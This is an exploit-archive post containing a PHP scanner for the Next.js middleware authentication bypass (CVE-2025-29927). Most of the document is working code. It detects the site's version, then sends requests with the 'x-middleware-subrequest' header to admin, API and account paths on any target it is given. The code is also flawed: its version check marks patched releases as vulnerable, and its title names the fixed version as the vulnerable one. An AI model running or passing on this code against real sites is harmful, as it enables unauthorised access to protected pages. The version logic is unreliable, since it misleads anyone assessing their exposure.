Next.js 12.3.5 Middleware Bypass Scanner
=============================================================================================================================================
| # Title Next.js 12.3.5 Middleware Bypass Scanner
=============================================================================================================================================
| # Title : Next.js 12.3.5 Middleware Subrequest Bypass Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://nextjs.org/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212394/ & CVE-2025-29927
[+] Summary : A vulnerability exists in the Next.js middleware handling mechanism, where requests
containing the "x-middleware-subrequest" header are processed differently compared to
normal requests, potentially allowing attackers to bypass authentication.
[+] POC : php poc.php 127.0.0.1
<?php
/*
* Next.js Middleware Bypass Scanner
* CVE-2025-29927
* Author: Indoushka
*/
function http_request($url, $headers = [])
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
curl_setopt($ch, CURLOPT_TIMEOUT, 12);
$resp = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
$header_size = $info["header_size"];
return [
"status" => $info["http_code"],
"body" => substr($resp, $header_size),
"headers" => substr($resp, 0, $header_size)
];
}
function detect_next_version($base)
{
$res = http_request($base);
$html = $res["body"];
$hdrs = $res["headers"];
// Header detection
if (preg_match("/x-powered-by:\s*(.*)/i", $hdrs, $m)) {
if (stripos($m[1], "Next.js") !== false) {
echo "[*] Version found in header: {$m[1]}\n";
return trim(str_replace("Next.js", "", $m[1]));
}
}
// Static leak detection
if (preg_match('#/_next/static/[^/]+/revisions/(?:static|webpack)-(\d+\.\d+\.\d+)#', $html, $m)) {
echo "[*] Heuristic detected version: {$m[1]}\n";
return $m[1];
}
echo "[!] Could not detect Next.js version reliably\n";
return null;
}
function version_vulnerable($v)
{
$safe = ["12.3.5", "13.5.9", "14.2.25", "15.2.3"];
foreach ($safe as $sv) {
if (version_compare($v, $sv, "<"))
return true;
}
return false;
}
function test_bypass($base, $ep)
{
$url = rtrim($base, "/") . $ep;
echo "\n[*] Testing endpoint: $url\n";
$normal = http_request($url);
$bypass1 = http_request($url, ["x-middleware-subrequest: middleware"]);
$bypass2 = http_request($url, ["x-middleware-subrequest: middleware:middleware:middleware"]);
echo "[+] Normal Status: {$normal['status']}\n";
echo "[+] Bypass Status : {$bypass1['status']}\n";
if ($normal["status"] !== $bypass1["status"])
echo "[!] Status difference detected - POSSIBLE BYPASS\n";
if (strlen($normal["body"]) !== strlen($bypass1["body"]))
echo "[!] Response length differs - HIGH Bypass Chance\n";
}
if ($argc != 2) {
echo "Usage: php $argv[0] https://target.com\n";
exit;
}
$base = $argv[1];
echo "[*] Scanning $base for CVE-2025-29927\n";
$ver = detect_next_version($base);
if ($ver) {
echo "[*] Detected Version: $ver\n";
if (version_vulnerable($ver))
echo "[!] Version appears VULNERABLE\n";
else
echo "[*] Version appears patched\n";
}
$endpoints = [
"/api/user", "/admin", "/dashboard", "/api/admin",
"/admin/login", "/admin/dashboard", "/dashboard/settings",
"/admin/settings", "/api/auth", "/api", "/api/users",
"/api/admin/session", "/api/settings", "/api/private",
"/account", "/account/settings", "/profile", "/settings",
"/me", "/me/settings", "/_next", "/_next/data", "/_next/static"
];
foreach ($endpoints as $ep)
test_bypass($base, $ep);
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================